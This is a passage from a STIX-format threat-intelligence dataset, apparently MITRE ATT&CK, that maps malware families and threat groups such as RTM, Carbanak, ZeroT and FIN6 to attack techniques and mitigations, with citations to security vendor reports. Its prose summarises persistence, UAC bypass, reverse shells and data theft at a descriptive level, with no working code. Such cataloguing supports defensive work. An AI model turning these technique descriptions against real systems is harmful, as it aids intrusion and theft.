            "source_ref": "malware--9ca488bd-9587-48ef-b923-1743523e63b2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830",
            "type": "relationship",
            "modified": "2020-03-17T02:37:57.987Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--63185895-4afb-4886-adcc-fbfac1a117d6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "relationship_type": "uses",
            "target_ref": "tool--d8d19e33-94fd-4aa3-b94a-08ee801a2153",
            "external_references": [
                {
                    "source_name": "Mandiant No Easy Breach",
                    "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.",
                    "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016"
                }
            ],
            "description": "(Citation: Mandiant No Easy Breach)",
            "type": "relationship",
            "modified": "2019-07-25T14:25:53.499Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--c3d3bb7d-65cc-4915-bc28-492d341e6dbd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[CallMe](https://attack.mitre.org/software/S0077) has the capability to create a reverse shell on victims.(Citation: Scarlet Mimic Jan 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Scarlet Mimic Jan 2016",
                    "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"
                }
            ],
            "source_ref": "malware--cb7bcf6f-085f-41db-81ee-4b68481661b5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56",
            "type": "relationship",
            "modified": "2020-03-20T16:46:50.615Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--1c395bb3-3b16-422f-bb00-9048b67b2337",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Many [ZeroT](https://attack.mitre.org/software/S0230) samples can perform UAC bypass by using eventvwr.exe to execute a malicious file.(Citation: Proofpoint ZeroT Feb 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Proofpoint ZeroT Feb 2017",
                    "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
                }
            ],
            "source_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073",
            "type": "relationship",
            "modified": "2020-03-17T02:54:39.714Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--d53d1e84-f4de-4e6a-bc84-5edfce84b055",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OwaAuth](https://attack.mitre.org/software/S0072) uses incoming HTTP requests with a username keyword and commands and handles them as instructions to perform actions.(Citation: Dell TG-3390)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Dell TG-3390",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
                    "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
                }
            ],
            "source_ref": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T02:06:54.661Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--073215cd-bc1e-48e8-8f3a-7d24f18b32c6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A [JHUHUGIT](https://attack.mitre.org/software/S0044) variant takes screenshots by simulating the user pressing the \"Take Screenshot\" key (VK_SCREENSHOT), accessing the screenshot saved in the clipboard, and converting it to a JPG image.(Citation: Unit 42 Playbook Dec 2017)(Citation: Talos Seduploader Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://pan-unit42.github.io/playbook_viewer/",
                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.",
                    "source_name": "Unit 42 Playbook Dec 2017"
                },
                {
                    "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.",
                    "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html",
                    "source_name": "Talos Seduploader Oct 2017"
                }
            ],
            "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2020-01-17T22:22:30.736Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--8278fc85-24af-4f8a-9b82-3f233f18f5a6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Mivast](https://attack.mitre.org/software/S0080) communicates over port 80 for C2.(Citation: Symantec Backdoor.Mivast)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Backdoor.Mivast",
                    "description": "Stama, D.. (2015, February 6). Backdoor.Mivast. Retrieved February 15, 2016.",
                    "url": "http://www.symantec.com/security_response/writeup.jsp?docid=2015-020623-0740-99&tabid=2"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "malware--fbb470da-1d44-4f29-bbb3-9efbe20f94a3",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e"
        },
        {
            "id": "relationship--37dd9a3c-dd52-4541-be7c-b490d026305c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RTM](https://attack.mitre.org/software/S0148) tries to add a Registry Run key under the name \"Windows Update\" to establish persistence.(Citation: ESET RTM Feb 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf",
                    "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.",
                    "source_name": "ESET RTM Feb 2017"
                }
            ],
            "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-05-12T22:13:16.875Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--7cbedb9a-666f-47eb-b70e-905bcf80940a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The \"ZJ\" variant of [BACKSPACE](https://attack.mitre.org/software/S0031) allows \"ZJ link\" infections with Internet access to relay traffic from \"ZJ listen\" to a command server.(Citation: FireEye APT30)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT30",
                    "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.",
                    "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
                }
            ],
            "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755",
            "type": "relationship",
            "modified": "2020-03-23T16:41:57.301Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--b4795040-fe94-429a-9853-f30c09ba05aa",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[HALFBAKED](https://attack.mitre.org/software/S0151) can obtain screenshots from the victim.(Citation: FireEye FIN7 April 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye FIN7 April 2017",
                    "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "malware--0ced8926-914e-4c78-bc93-356fb90dbd1f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688"
        },
        {
            "id": "relationship--a7744970-817e-43c6-89e4-86907ac20361",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dok](https://attack.mitre.org/software/S0281) prompts the user for credentials.(Citation: objsee mac malware 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "objsee mac malware 2017",
                    "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
                    "url": "https://objective-see.com/blog/blog_0x25.html"
                }
            ],
            "source_ref": "malware--f36b2598-515f-4345-84e5-5ccde253edbe",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--a2029942-0a85-4947-b23c-ca434698171d",
            "type": "relationship",
            "modified": "2020-01-17T19:39:11.362Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--f1000a93-e87d-4acf-b71d-73c3bb05fd75",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--16f144e4-c780-4ed2-98b4-55d14e2dfa44",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2020-03-15T01:03:47.975Z",
            "created": "2017-05-31T21:33:27.020Z"
        },
        {
            "id": "relationship--83ad6071-8874-49c9-98cd-0d493a8eeb07",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Sykipot](https://attack.mitre.org/software/S0018) may use <code>netstat -ano</code> to display active network connections.(Citation: AlienVault Sykipot 2011)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "AlienVault Sykipot 2011",
                    "description": "Blasco, J. (2011, December 12). Another Sykipot sample likely targeting US federal agencies. Retrieved March 28, 2016.",
                    "url": "https://www.alienvault.com/open-threat-exchange/blog/another-sykipot-sample-likely-targeting-us-federal-agencies"
                }
            ],
            "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475",
            "type": "relationship",
            "modified": "2020-03-16T17:50:28.572Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--b6a89ded-fa53-42b9-8f40-03c845123ac0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can decrypt, unpack and load a DLL from its resources, or from blobs encrypted with Data Protection API, two-key triple DES, and variations of the XOR cipher.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/",
                    "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.",
                    "source_name": "ESET InvisiMole June 2018"
                },
                {
                    "source_name": "ESET InvisiMole June 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf",
                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."
                }
            ],
            "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "type": "relationship",
            "modified": "2020-08-18T13:13:30.938Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--c7047518-c63f-41b5-a803-1ed54066a62e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--1022138b-497c-40e6-b53a-13351cbd4090",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--0ca7beef-9bbc-4e35-97cf-437384ddce6a",
            "type": "relationship",
            "modified": "2020-03-19T15:11:39.866Z",
            "created": "2017-05-31T21:33:27.022Z"
        },
        {
            "id": "relationship--c6606ced-4641-451f-ac2a-493b1d15d0aa",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RTM](https://attack.mitre.org/software/S0148) can obtain the computer name, OS version, and default language identifier.(Citation: ESET RTM Feb 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf",
                    "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.",
                    "source_name": "ESET RTM Feb 2017"
                }
            ],
            "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-05-12T22:13:16.851Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--03a73f0c-218f-4ebf-81d2-88e2c8e9b883",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[InnaputRAT](https://attack.mitre.org/software/S0259) launches a shell to execute commands on the victim\u2019s machine.(Citation: ASERT InnaputRAT April 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ASERT InnaputRAT April 2018",
                    "description": "ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.",
                    "url": "https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/"
                }
            ],
            "source_ref": "malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-20T02:21:24.978Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--4a959425-4d43-4969-9a47-768894a3afaa",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Emissary](https://attack.mitre.org/software/S0082) has the capability to execute ver, systeminfo, and gpresult commands.(Citation: Emissary Trojan Feb 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Emissary Trojan Feb 2016",
                    "description": "Falcone, R. and Miller-Osborn, J.. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/"
                }
            ],
            "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-16T15:50:20.035Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--ed1aa5fa-7f0e-4d87-b3f5-7b50ab01e34b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[WINERACK](https://attack.mitre.org/software/S0219) can gather information about the host.(Citation: FireEye APT37 Feb 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
            "source_ref": "malware--49abab73-3c5c-476e-afd5-69b5c732d845",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1"
        },
        {
            "id": "relationship--b9c05069-a05f-4b74-9b4d-275c64f2e124",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
            "relationship_type": "uses",
            "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/",
                    "description": "ESET Research. (2018, May 22). Turla Mosquito: A shift towards more generic tools. Retrieved July 3, 2018.",
                    "source_name": "ESET Turla Mosquito May 2018"
                },
                {
                    "source_name": "Symantec Waterbug Jun 2019",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments",
                    "description": "Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019."
                }
            ],
            "description": "(Citation: ESET Turla Mosquito May 2018)(Citation: Symantec Waterbug Jun 2019)",
            "type": "relationship",
            "modified": "2019-07-14T21:04:45.625Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--4d6b8bca-ad81-41d6-8b4e-194ddf04d3dd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Chaos](https://attack.mitre.org/software/S0220) provides a reverse shell connection on 8338/TCP, encrypted via AES.(Citation: Chaos Stolen Backdoor)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Chaos Stolen Backdoor",
                    "description": "Sebastian Feldmann. (2018, February 14). Chaos: a Stolen Backdoor Rising Again. Retrieved March 5, 2018.",
                    "url": "http://gosecure.net/2018/02/14/chaos-stolen-backdoor-rising/"
                }
            ],
            "source_ref": "malware--5bcd5511-6756-4824-a692-e8bb109364af",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00",
            "type": "relationship",
            "modified": "2019-05-10T18:57:53.140Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--128eb6e8-d1a7-4ff6-85e6-a68cfea3298e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SLOWDRIFT](https://attack.mitre.org/software/S0218) collects and sends system information to its C2.(Citation: FireEye APT37 Feb 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
                }
            ],
            "source_ref": "malware--414dc555-c79e-4b24-a2da-9b607f7eaf16",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-20T21:29:27.710Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--1aa10371-6473-416a-8b8b-17c36f700233",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) has registered itself as a scheduled task to run each time the current user logs in.(Citation: ESET Sednit Part 1)(Citation: ESET Sednit July 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.",
                    "source_name": "ESET Sednit Part 1"
                },
                {
                    "url": "http://www.welivesecurity.com/2015/07/10/sednit-apt-group-meets-hacking-team/",
                    "description": "ESET Research. (2015, July 10). Sednit APT Group Meets Hacking Team. Retrieved March 1, 2017.",
                    "source_name": "ESET Sednit July 2015"
                }
            ],
            "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "type": "relationship",
            "modified": "2020-03-28T21:36:05.513Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--1f764874-0e08-4799-9487-a9e12c499c13",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FIN6](https://attack.mitre.org/groups/G0037) has used scripting to iterate through a list of compromised PoS systems, copy data to a log file, and remove the original data files.(Citation: FireEye FIN6 April 2016)(Citation: FireEye FIN6 Apr 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf",
                    "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.",
                    "source_name": "FireEye FIN6 April 2016"
                },
                {
                    "description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html",
                    "source_name": "FireEye FIN6 Apr 2019"
                }
            ],
            "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
            "type": "relationship",
            "modified": "2020-10-19T18:18:50.146Z",
            "created": "2017-05-31T21:33:27.071Z"
        },
        {
            "id": "relationship--b60dcc78-83b0-4fe2-b874-6f22f99b6087",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware has used a PowerShell command to check the victim system architecture to determine if it is an x64 machine. Other malware has obtained the OS version, UUID, and computer/host name to send to the C2 server.(Citation: Unit 42 Magic Hound Feb 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Magic Hound Feb 2017",
                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
                }
            ],
            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2019-09-09T19:21:42.305Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--64e3196b-50c6-47d9-8841-1b7902a1546a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Carbanak](https://attack.mitre.org/software/S0030) searches recursively for Outlook personal storage tables (PST) files within user directories and sends them back to the C2 server.(Citation: FireEye CARBANAK June 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye CARBANAK June 2017",
                    "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html"
                }
            ],
            "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004",
            "type": "relationship",
            "modified": "2020-03-17T16:18:51.454Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--f9773935-853e-4d5e-9345-9587fd77340d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[DustySky](https://attack.mitre.org/software/S0062) scans the victim for files that contain certain keywords and document types including PDF, DOC, DOCX, XLS, and XLSX, from a list that is obtained from the C2 as a text file. It can also identify logical drives for the infected machine.(Citation: DustySky)(Citation: Kaspersky MoleRATs April 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "DustySky",
                    "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016."
                },
                {
                    "source_name": "Kaspersky MoleRATs April 2019",
                    "url": "https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/",
                    "description": "GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."
                }
            ],
            "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-05-14T15:14:33.557Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--deb7df24-689e-4e4e-909f-a270241ab65a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Gazer](https://attack.mitre.org/software/S0168) logs its actions into files that are encrypted with 3DES. It also uses RSA to encrypt resources.(Citation: Securelist WhiteBear Aug 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Securelist WhiteBear Aug 2017",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.",
                    "url": "https://securelist.com/introducing-whitebear/81638/"
                }
            ],
            "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-03-17T01:22:43.699Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--88852c38-9aeb-47f4-be63-dc09b8583155",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) deleted the DLL dropper from the victim\u2019s machine to cover their tracks.(Citation: Talos Cobalt Group July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html",
                    "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.",
                    "source_name": "Talos Cobalt Group July 2018"
                }
            ],
